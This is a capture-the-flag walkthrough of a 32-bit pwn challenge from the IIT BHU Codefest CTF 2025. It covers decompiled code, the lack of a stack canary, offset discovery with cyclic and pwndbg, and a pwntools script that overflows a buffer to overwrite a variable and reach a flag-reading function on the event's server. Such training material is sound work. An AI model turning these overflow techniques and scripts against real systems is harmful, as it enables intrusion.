Binary Exploitation - Admin?
A walkthrough of the pwn challenge from the IIT BHU - Codefest CTF 2025
Description
100
challenge by : 0xkn1gh7
Can you become admin?
Solution
we got a ELF executable file,
checksec,
From the initial inspection of the ELF executable file,
- The file is a 32-bit, little-endian executable.
- The file is not stripped, allowing for easier debugging.
- No stack canary is present, suggesting a vulnerability to buffer overflow attacks.
From the Decompiled Code ,
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int32_t win()
{
void var_74;
fgets(&var_74, 0x64, fopen("/flag.txt", u"r…"));
return puts(&var_74);
}
int32_t main(int32_t argc, char** argv, char** envp)
{
void* const __return_addr_1 = __return_addr;
int32_t* var_10 = &argc;
setbuf(*stdout, nullptr);
banner();
int32_t var_14 = 1;
void buf;
fgets(&buf, 0x32, *stdin);
if (var_14 != 0x23456723)
printf("%x\\n", var_14);
else
win();
return 0;
}
int32_t _fini()
{
return;
}
At first, the idea was to overwrite the EIP register to directly call the win() function. Using cyclic() to find the offset for EIP:
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from pwn import *
>>> cyclic(100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
However, after testing, it was observed that the EIP register was not overwritten. Upon further inspection of the assembly code:
From the disassembly, it was noticed that the variable var_14 is stored at ebp - 0xc. The value of var_14 is compared with 0x23456723 at main+89. Using a debugger to set the break point at the address 0x56556315 to inspect the value:
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pwndbg> print/x *(int*)($ebp - 0xc)
$1 = 0x61616169
pwndbg> print/x ($ebp - 0xc)
This reveals the offset where var_14 is located. Using cyclic_find()
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>>> cyclic_find(0x61616169)
32
The offset is confirmed to be 32 bytes.
Since the offset is revealed , By crafting a payload to overwrite the value at offset 32 with 0x23456723, the condition to call the win() function is satisfied, and the flag can be retrieved.
Exploit
using python with pwn for script,
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from pwn import *
context.log_level = 'critical'
elf = context.binary = ELF('chall')
gdbscript = '''
break *main
continue
'''
if args.REMOTE:
p = remote('codefest-ctf.iitbhu.tech', 16391)
elif args.GDB:
p = gdb.debug(elf.path, gdbscript=gdbscript)
else:
p = process(elf.path)
log.info("\\\\n==== start exploit ====\\\\n")
p.recvuntil(b'Admin?')
payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaa\\x23\\x67\\x45\\x23'
p.sendline(payload)
print(p.recv())
p.interactive()
got the flag,
